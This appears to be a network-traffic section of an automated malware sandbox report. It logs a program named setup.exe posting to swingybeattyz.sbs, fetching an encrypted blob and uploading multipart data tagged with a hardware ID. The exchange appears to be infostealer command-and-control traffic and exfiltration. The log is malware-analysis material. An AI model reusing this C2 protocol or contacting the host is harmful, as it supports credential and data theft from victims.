2025-01-05 17:43:30 UTC	1134	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=32gqldudslq2ike0b5jrps46rc; expires=Thu, 01 May 2025 11:30:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u13s1QP53OkQapUtB64j2bGDF%2FdMmfYo3xeXftS5YYnVN6v2vVWA3QAzhov%2FFboLezKBr6jAMsou7zJHaXmYOKa4W1Vi4t3u4v86bh2oB5%2FyoTBUqSODAOX3w7%2Fqg9AY%2FFOr3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5455a2d29426a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2520&min_rtt=2264&rtt_var=1032&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1289752&cwnd=225&unsent_bytes=0&cid=1a984b10c2a4d3ac&ts=516&x=0"
2025-01-05 17:43:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-05 17:43:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49807	172.67.163.221	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: swingybeattyz.sbs
2025-01-05 17:43:30 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 41 4c 46 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--ALFA&j=efdebde057a1df3f7c15b7f4da907c2d
2025-01-05 17:43:30 UTC	1127	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:43:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h7f5r20vdf06n16nu5jllvc398; expires=Thu, 01 May 2025 11:30:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qZ5852NA1l8yJynlget%2BsTyclIAJwNvEyLAhfj2KPbogIEWy%2FSxVMwpcz3WlQEdNx6yOkatdXcsOMHpwgkf9mxXUt3oYIYL47jBbvJJJEgkjI8gudSdmwub7haPN2xcx3Bvwcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5456029060f4f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1747&min_rtt=1739&rtt_var=668&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=979&delivery_rate=1617728&cwnd=239&unsent_bytes=0&cid=6cac691c235d0d54&ts=440&x=0"
2025-01-05 17:43:30 UTC	242	IN	Data Raw: 33 61 38 38 0d 0a 75 2b 6c 79 78 68 79 4b 51 49 50 6b 52 34 77 67 63 6a 55 6c 4f 55 69 71 61 70 57 4d 57 70 54 45 77 6c 63 6d 42 42 76 73 42 69 48 41 79 77 54 6b 4a 72 35 73 6f 5a 63 69 72 68 6f 55 56 45 6c 4b 4c 59 5a 49 39 4f 68 34 72 71 4b 6a 4f 31 56 68 4e 38 35 77 54 4a 6e 54 46 4b 64 77 2b 53 57 76 78 69 4c 30 41 6b 68 75 58 68 73 74 78 45 69 76 72 6a 2f 2b 70 71 4d 37 52 47 56 77 67 33 5a 4e 32 49 45 65 6f 58 54 76 49 2b 65 46 4b 2b 46 46 46 31 42 45 55 79 62 44 42 2f 33 68 65 4c 6a 6d 70 79 30 45 50 6a 6d 68 59 31 58 61 70 42 4f 31 64 36 67 39 72 35 39 6c 36 55 35 51 44 77 64 59 4c 63 67 47 38 2b 67 78 2f 4b 79 71 4d 30 56 67 63 5a 78 76 52 39 4f 42 45 4b 4a 31 35 53 72 7a 69 43 48 6d 54 68 46 61 52 42 74 6b Data Ascii: 3a88u+lyxhyKQIPkR4wgcjUlOUiqapWMWpTEwlcmBBvsBiHAywTkJr5soZcirhoUVElKLYZI9Oh4rqKjO1VhN85wTJnTFKdw+SWvxiL0AkhuXhstxEivrj/+pqM7RGVwg3ZN2IEeoXTvI+eFK+FFF1BEUybDB/3heLjmpy0EPjmhY1XapBO1d6g9r59l6U5QDwdYLcgG8+gx/KyqM0VgcZxvR9OBEKJ15SrziCHmThFaRBtk
2025-01-05 17:43:30 UTC	1369	IN	Data Raw: 69 41 2f 76 72 6d 43 32 39 5a 49 32 56 58 64 73 67 33 52 46 6d 5a 52 65 76 54 37 76 4c 71 48 65 5a 65 5a 4f 48 6c 4a 45 56 43 33 4a 43 4f 58 68 4f 50 57 75 71 44 46 4f 61 58 61 42 61 6b 6e 65 67 78 6d 6a 63 65 38 71 35 34 6b 6d 72 67 78 51 55 46 38 62 63 6f 67 6f 35 2b 30 37 34 71 75 78 64 56 73 6f 59 4d 35 6a 54 35 6e 54 55 4b 4a 77 36 53 2f 68 6c 43 33 6c 53 52 56 46 54 46 49 6e 78 51 6a 36 35 44 66 31 70 71 63 2f 54 6d 6c 7a 69 6d 6c 4f 33 34 73 51 35 44 43 6f 4a 66 6e 47 66 61 35 68 46 55 64 41 56 7a 79 4b 4d 72 66 78 64 75 2f 6d 70 7a 6b 45 50 6a 6d 47 59 55 44 61 67 42 2b 6e 64 75 4d 77 34 5a 51 6a 34 30 63 43 55 55 4a 56 49 4d 73 61 2f 65 41 2b 39 61 2b 72 50 45 46 68 66 63 34 71 41 39 36 54 55 50 77 2b 79 53 2f 71 69 69 2f 35 51 6c 42 49 43 55 4a Data Ascii: iA/vrmC29ZI2VXdsg3RFmZRevT7vLqHeZeZOHlJEVC3JCOXhOPWuqDFOaXaBaknegxmjce8q54kmrgxQUF8bcogo5+074quxdVsoYM5jT5nTUKJw6S/hlC3lSRVFTFInxQj65Df1pqc/TmlzimlO34sQ5DCoJfnGfa5hFUdAVzyKMrfxdu/mpzkEPjmGYUDagB+nduMw4ZQj40cCUUJVIMsa/eA+9a+rPEFhfc4qA96TUPw+yS/qii/5QlBICUJ
2025-01-05 17:43:30 UTC	1369	IN	Data Raw: 2b 51 2b 2b 61 75 73 64 51 6f 6d 66 70 59 6b 47 35 6d 68 45 37 42 39 34 6d 44 55 68 53 76 67 52 51 59 58 57 42 55 7a 69 41 2f 37 72 6d 43 32 71 36 45 39 51 6e 52 32 67 32 64 4e 31 34 51 56 71 33 62 6f 49 75 79 44 49 65 56 4a 45 31 70 44 53 53 44 49 41 50 4c 76 4d 76 7a 6d 37 6e 56 44 66 6a 6e 57 4a 48 4c 4f 67 46 4b 52 66 65 59 73 35 70 42 6c 38 51 77 4a 46 30 42 58 61 70 42 49 2b 75 59 39 38 36 6d 68 50 30 70 6a 63 34 4a 73 54 64 71 5a 48 36 42 2b 35 43 72 72 69 79 76 71 53 68 6c 63 54 46 30 71 79 51 4b 33 6f 48 6a 78 76 75 42 74 42 46 4a 2b 67 6d 6c 4d 6d 37 34 54 71 6e 44 76 4e 4b 47 5a 61 2f 63 43 46 31 73 48 41 32 72 45 41 66 66 6c 4d 76 4b 6d 70 7a 68 42 5a 58 36 4e 61 55 54 54 68 52 65 67 63 75 45 76 35 34 59 69 36 6b 63 43 55 6b 35 58 4a 6f 68 47 Data Ascii: +Q++ausdQomfpYkG5mhE7B94mDUhSvgRQYXWBUziA/7rmC2q6E9QnR2g2dN14QVq3boIuyDIeVJE1pDSSDIAPLvMvzm7nVDfjnWJHLOgFKRfeYs5pBl8QwJF0BXapBI+uY986mhP0pjc4JsTdqZH6B+5CrriyvqShlcTF0qyQK3oHjxvuBtBFJ+gmlMm74TqnDvNKGZa/cCF1sHA2rEAfflMvKmpzhBZX6NaUTThRegcuEv54Yi6kcCUk5XJohG
2025-01-05 17:43:30 UTC	1369	IN	Data Raw: 6e 6f 75 58 56 44 61 6a 6e 57 4a 45 72 51 6d 52 36 71 64 2b 55 6b 36 59 45 72 34 30 6b 57 58 45 42 63 4c 4d 55 41 2b 75 73 37 39 36 4b 71 4a 30 64 74 63 34 4e 75 41 35 66 4c 46 37 77 2b 73 47 4c 47 69 67 7a 2b 57 51 4a 42 42 30 52 6b 30 55 6a 77 34 6e 69 75 35 71 4d 36 54 57 6c 78 68 6d 74 4d 33 59 55 57 6f 6e 50 74 4c 65 75 55 4c 65 42 50 47 31 68 4d 53 53 72 46 44 50 76 71 4d 50 32 73 34 48 73 45 59 57 48 4f 50 41 50 73 68 68 2b 6b 66 66 35 69 2f 73 67 38 72 6b 55 63 46 78 38 62 4a 73 59 49 2b 4f 49 30 2f 61 36 68 4f 55 70 68 66 49 64 73 53 38 75 4b 46 4b 78 2f 35 69 33 67 67 69 44 72 52 68 64 54 51 56 52 71 68 6b 6a 77 39 6e 69 75 35 6f 38 53 63 53 52 59 74 43 52 63 6c 35 4a 51 6f 33 4b 6f 65 71 47 4b 4a 75 4a 4b 48 31 46 4f 56 79 44 42 41 2f 76 6c 50 Data Ascii: nouXVDajnWJErQmR6qd+Uk6YEr40kWXEBcLMUA+us796KqJ0dtc4NuA5fLF7w+sGLGigz+WQJBB0Rk0Ujw4niu5qM6TWlxhmtM3YUWonPtLeuULeBPG1hMSSrFDPvqMP2s4HsEYWHOPAPshh+kff5i/sg8rkUcFx8bJsYI+OI0/a6hOUphfIdsS8uKFKx/5i3ggiDrRhdTQVRqhkjw9niu5o8ScSRYtCRcl5JQo3KoeqGKJuJKH1FOVyDBA/vlP
2025-01-05 17:43:30 UTC	1369	IN	Data Raw: 77 53 32 64 34 69 48 5a 45 30 4a 6b 65 71 58 48 67 4b 75 69 48 49 65 74 50 46 6c 74 4e 57 69 33 47 42 76 2b 75 64 72 61 68 75 48 55 63 4a 6c 69 65 66 31 48 50 68 6a 47 70 63 61 67 39 72 35 39 6c 36 55 35 51 44 77 64 53 4f 4d 77 46 35 65 63 2f 2b 4b 6d 6a 4a 30 56 72 63 70 78 6a 54 4e 32 4d 48 4b 4a 78 37 69 50 6b 6a 43 6e 70 52 78 74 59 53 78 74 6b 69 41 2f 76 72 6d 43 32 69 4b 73 6d 55 32 56 33 68 58 4a 59 6d 5a 52 65 76 54 37 76 4c 71 48 65 5a 65 31 4a 47 31 4e 48 56 79 72 4d 42 66 66 38 4e 2f 47 68 71 54 35 57 62 48 36 4a 62 30 76 53 68 42 61 32 63 75 59 77 35 4a 51 33 72 67 78 51 55 46 38 62 63 6f 67 2b 38 50 34 6f 39 65 53 52 49 30 64 77 63 6f 4e 6f 41 38 62 46 43 65 52 35 35 47 4b 35 78 69 50 68 53 78 4e 59 52 6c 49 6d 78 51 33 2b 36 7a 6e 77 6f 71 Data Ascii: wS2d4iHZE0JkeqXHgKuiHIetPFltNWi3GBv+udrahuHUcJlief1HPhjGpcag9r59l6U5QDwdSOMwF5ec/+KmjJ0VrcpxjTN2MHKJx7iPkjCnpRxtYSxtkiA/vrmC2iKsmU2V3hXJYmZRevT7vLqHeZe1JG1NHVyrMBff8N/GhqT5WbH6Jb0vShBa2cuYw5JQ3rgxQUF8bcog+8P4o9eSRI0dwcoNoA8bFCeR55GK5xiPhSxNYRlImxQ3+6znwoq
2025-01-05 17:43:30 UTC	1369	IN	Data Raw: 59 73 35 37 44 63 44 4c 46 36 67 2b 73 47 4c 69 67 53 62 76 53 42 6c 62 53 46 77 75 32 67 4c 77 2f 44 6e 33 72 61 30 35 52 47 74 30 68 47 56 4b 31 49 63 64 6f 33 6e 6e 4a 36 48 49 5a 65 6c 61 55 41 38 48 65 69 66 44 42 4b 79 30 65 4f 6e 6f 75 58 56 44 61 6a 6e 57 4a 45 50 54 6a 68 71 70 66 65 63 68 38 34 63 6a 2f 45 49 64 58 56 56 52 49 63 30 46 2b 75 4d 37 38 4b 43 72 4f 56 5a 76 65 59 31 76 41 35 66 4c 46 37 77 2b 73 47 4c 43 6b 54 50 6b 52 52 78 42 54 46 6f 70 33 67 58 6e 72 6e 61 32 74 36 63 6b 42 44 35 76 6e 6e 4e 45 78 73 55 4a 35 48 6e 6b 59 72 6e 47 49 2b 64 45 46 31 46 4a 53 53 2f 4f 42 2f 6a 6e 4d 66 4b 75 6f 7a 56 41 59 6e 36 4c 5a 30 2f 53 6a 42 4f 72 65 75 45 73 36 49 6c 6c 6f 41 49 58 54 77 63 44 61 75 6b 54 39 4f 49 31 74 72 6e 75 4c 41 52 Data Ascii: Ys57DcDLF6g+sGLigSbvSBlbSFwu2gLw/Dn3ra05RGt0hGVK1Icdo3nnJ6HIZelaUA8HeifDBKy0eOnouXVDajnWJEPTjhqpfech84cj/EIdXVVRIc0F+uM78KCrOVZveY1vA5fLF7w+sGLCkTPkRRxBTFop3gXnrna2t6ckBD5vnnNExsUJ5HnkYrnGI+dEF1FJSS/OB/jnMfKuozVAYn6LZ0/SjBOreuEs6IlloAIXTwcDaukT9OI1trnuLAR
2025-01-05 17:43:30 UTC	1369	IN	Data Raw: 31 75 5a 30 31 43 45 64 66 34 6e 35 70 42 6e 32 30 45 65 57 55 42 4e 61 74 63 33 75 61 34 35 74 76 36 5a 4c 41 52 77 4f 64 59 32 44 5a 6d 5a 55 50 77 2b 72 79 48 7a 6c 43 50 74 56 42 4d 51 65 57 55 4e 33 67 4c 77 2f 6a 2f 68 71 65 42 37 42 47 6b 35 31 6c 30 44 30 49 77 4c 74 57 6a 6c 4d 75 62 47 47 71 41 43 43 42 63 66 47 78 2f 4c 42 76 6e 70 4c 75 66 72 68 79 4e 4f 59 57 6d 4a 63 30 79 5a 78 56 43 69 50 72 42 78 72 38 59 68 2f 77 4a 49 42 78 55 41 66 35 74 66 70 37 77 6e 75 4c 2f 67 49 77 51 2b 4b 38 41 6b 55 5a 6e 54 55 4f 4e 39 2b 6a 44 6e 68 54 50 74 42 53 35 70 59 45 45 6e 7a 68 2f 6d 30 41 62 78 76 4b 30 7a 55 33 63 31 6d 32 64 4e 31 34 77 47 35 44 43 6f 4c 61 48 65 48 4b 34 4b 55 47 67 4a 47 7a 4b 49 55 4c 66 62 4f 2f 69 6f 70 79 4e 56 4b 31 36 55 Data Ascii: 1uZ01CEdf4n5pBn20EeWUBNatc3ua45tv6ZLARwOdY2DZmZUPw+ryHzlCPtVBMQeWUN3gLw/j/hqeB7BGk51l0D0IwLtWjlMubGGqACCBcfGx/LBvnpLufrhyNOYWmJc0yZxVCiPrBxr8Yh/wJIBxUAf5tfp7wnuL/gIwQ+K8AkUZnTUON9+jDnhTPtBS5pYEEnzh/m0AbxvK0zU3c1m2dN14wG5DCoLaHeHK4KUGgJGzKIULfbO/iopyNVK16U
2025-01-05 17:43:30 UTC	1369	IN	Data Raw: 73 43 35 43 61 6f 5a 65 4b 55 4e 2b 68 42 42 6c 51 41 5a 52 54 76 42 76 44 76 4c 75 61 78 72 77 74 36 63 33 71 41 61 6b 54 50 6d 6c 44 71 50 75 64 69 75 62 39 6c 70 67 49 76 47 51 64 44 61 70 42 49 77 75 30 32 2b 4b 47 32 4a 41 6c 42 64 34 6c 6c 56 63 6d 63 48 2b 51 77 71 43 53 68 33 6e 65 67 41 68 52 47 42 77 4e 36 6d 6c 4f 69 76 57 2b 6d 39 4c 39 37 58 53 5a 76 7a 6a 77 52 6c 38 73 43 35 43 61 6f 5a 65 4b 55 4e 2b 68 42 42 6c 51 41 5a 52 54 76 42 76 44 76 4c 75 61 78 72 33 70 71 55 46 69 77 57 6c 62 61 68 52 36 6a 61 50 6c 69 72 38 59 71 72 68 6f 70 46 77 38 62 46 59 5a 49 37 36 35 67 74 70 4f 6a 4f 30 70 68 62 35 38 70 5a 4e 65 4d 45 62 4a 75 2f 79 32 75 71 42 50 50 41 6c 34 58 51 52 74 79 6d 6b 61 33 36 69 6d 32 2f 76 42 6e 48 7a 4d 71 32 54 51 52 78 Data Ascii: sC5CaoZeKUN+hBBlQAZRTvBvDvLuaxrwt6c3qAakTPmlDqPudiub9lpgIvGQdDapBIwu02+KG2JAlBd4llVcmcH+QwqCSh3negAhRGBwN6mlOivW+m9L97XSZvzjwRl8sC5CaoZeKUN+hBBlQAZRTvBvDvLuaxr3pqUFiwWlbahR6jaPlir8YqrhopFw8bFYZI765gtpOjO0phb58pZNeMEbJu/y2uqBPPAl4XQRtymka36im2/vBnHzMq2TQRx
2025-01-05 17:43:30 UTC	1369	IN	Data Raw: 6d 71 48 71 68 71 7a 66 70 55 68 4d 58 43 52 73 6d 69 46 43 33 34 79 72 78 74 71 4e 35 51 33 78 2b 7a 6e 73 4e 77 4d 73 47 35 43 61 37 62 4b 47 55 5a 62 59 43 56 31 6c 4b 57 69 6e 47 43 2b 58 38 50 76 57 77 6f 33 4a 36 57 46 53 63 59 31 50 61 79 53 47 70 65 76 34 33 34 70 59 69 30 48 77 39 52 55 42 4c 4b 59 6f 6b 38 4f 4d 30 79 4a 69 58 4a 45 4e 32 4f 36 68 6e 56 64 72 4c 58 75 52 6d 71 48 71 68 71 7a 66 70 55 68 4d 56 61 31 77 6e 78 45 6a 6f 6f 43 47 32 73 4f 42 74 46 79 67 35 6e 43 51 62 6d 63 77 54 74 6d 7a 75 49 66 65 46 59 74 42 38 50 55 56 41 53 79 6d 4b 4f 66 72 71 4c 75 4f 6c 73 44 4a 36 57 46 53 63 59 31 50 61 79 54 57 65 50 4e 6b 30 34 6f 59 72 36 51 4a 65 46 31 38 62 63 6f 67 6c 35 65 6b 6f 39 65 53 46 44 77 5a 58 62 34 31 6b 54 64 37 4c 58 75 Data Ascii: mqHqhqzfpUhMXCRsmiFC34yrxtqN5Q3x+znsNwMsG5Ca7bKGUZbYCV1lKWinGC+X8PvWwo3J6WFScY1PaySGpev434pYi0Hw9RUBLKYok8OM0yJiXJEN2O6hnVdrLXuRmqHqhqzfpUhMVa1wnxEjooCG2sOBtFyg5nCQbmcwTtmzuIfeFYtB8PUVASymKOfrqLuOlsDJ6WFScY1PayTWePNk04oYr6QJeF18bcogl5eko9eSFDwZXb41kTd7LXu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49816	172.67.163.221	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:31 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LQZT3S9HD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12804 Host: swingybeattyz.sbs
2025-01-05 17:43:31 UTC	12804	OUT	Data Raw: 2d 2d 4c 51 5a 54 33 53 39 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 32 44 43 44 45 30 44 46 31 42 31 36 43 42 45 32 31 32 43 43 34 42 33 32 41 33 45 36 44 43 0d 0a 2d 2d 4c 51 5a 54 33 53 39 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 51 5a 54 33 53 39 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 41 4c 46 41 0d 0a 2d 2d 4c 51 5a 54 33 53 39 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --LQZT3S9HDContent-Disposition: form-data; name="hwid"B72DCDE0DF1B16CBE212CC4B32A3E6DC--LQZT3S9HDContent-Disposition: form-data; name="pid"2--LQZT3S9HDContent-Disposition: form-data; name="lid"hRjzG3--ALFA--LQZT3S9HDContent-Dispo
2025-01-05 17:43:32 UTC	1134	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:43:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h5nkl4tts45mk2n58joanme025; expires=Thu, 01 May 2025 11:30:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LHIiEGUI5j4MYBiHPHTLQW%2BfynU0nslU1uqKyCmKM20iVP6vMV3G8v4g1KakkEcu1KgneG82oEunYhtyM0Y%2BD1%2Bm3Pl1PZiykhjYGqXeW8sEBKs7nyOma6GWTODA%2BwKA5oBUEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd545677eca4346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1765&min_rtt=1758&rtt_var=673&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13736&delivery_rate=1608815&cwnd=252&unsent_bytes=0&cid=20646c00ed75c438&ts=626&x=0"
2025-01-05 17:43:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:43:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49823	172.67.163.221	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:32 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PT4ZUHUFG60W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15068 Host: swingybeattyz.sbs
2025-01-05 17:43:32 UTC	15068	OUT	Data Raw: 2d 2d 50 54 34 5a 55 48 55 46 47 36 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 32 44 43 44 45 30 44 46 31 42 31 36 43 42 45 32 31 32 43 43 34 42 33 32 41 33 45 36 44 43 0d 0a 2d 2d 50 54 34 5a 55 48 55 46 47 36 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 54 34 5a 55 48 55 46 47 36 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 41 4c 46 41 0d 0a 2d 2d 50 54 34 5a 55 48 55 46 47 36 30 57 0d 0a 43 Data Ascii: --PT4ZUHUFG60WContent-Disposition: form-data; name="hwid"B72DCDE0DF1B16CBE212CC4B32A3E6DC--PT4ZUHUFG60WContent-Disposition: form-data; name="pid"2--PT4ZUHUFG60WContent-Disposition: form-data; name="lid"hRjzG3--ALFA--PT4ZUHUFG60WC
2025-01-05 17:43:33 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h1t7rnbui0vuc27qggmaf6k18o; expires=Thu, 01 May 2025 11:30:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qFow%2FY6REh7tVAZJy1rxpn1CppaOAYymCVuse27cc%2BBsSiCFr1SeEyO7vAXWgI1m8YYGHEnoNDUnIbDh2hVYAVGpQkKqdLy4yv6Mc3D69WCYar2WblmtRszlCYVBDidDeWYBUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5456f19e8f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1629&min_rtt=1625&rtt_var=617&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16003&delivery_rate=1762220&cwnd=82&unsent_bytes=0&cid=0068adc72642452f&ts=569&x=0"
2025-01-05 17:43:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:43:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49833	172.67.163.221	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:34 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BFOKXTB7F7PJF3BJOM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19962 Host: swingybeattyz.sbs
2025-01-05 17:43:34 UTC	15331	OUT	Data Raw: 2d 2d 42 46 4f 4b 58 54 42 37 46 37 50 4a 46 33 42 4a 4f 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 32 44 43 44 45 30 44 46 31 42 31 36 43 42 45 32 31 32 43 43 34 42 33 32 41 33 45 36 44 43 0d 0a 2d 2d 42 46 4f 4b 58 54 42 37 46 37 50 4a 46 33 42 4a 4f 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 46 4f 4b 58 54 42 37 46 37 50 4a 46 33 42 4a 4f 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 41 4c 46 41 0d Data Ascii: --BFOKXTB7F7PJF3BJOMContent-Disposition: form-data; name="hwid"B72DCDE0DF1B16CBE212CC4B32A3E6DC--BFOKXTB7F7PJF3BJOMContent-Disposition: form-data; name="pid"3--BFOKXTB7F7PJF3BJOMContent-Disposition: form-data; name="lid"hRjzG3--ALFA
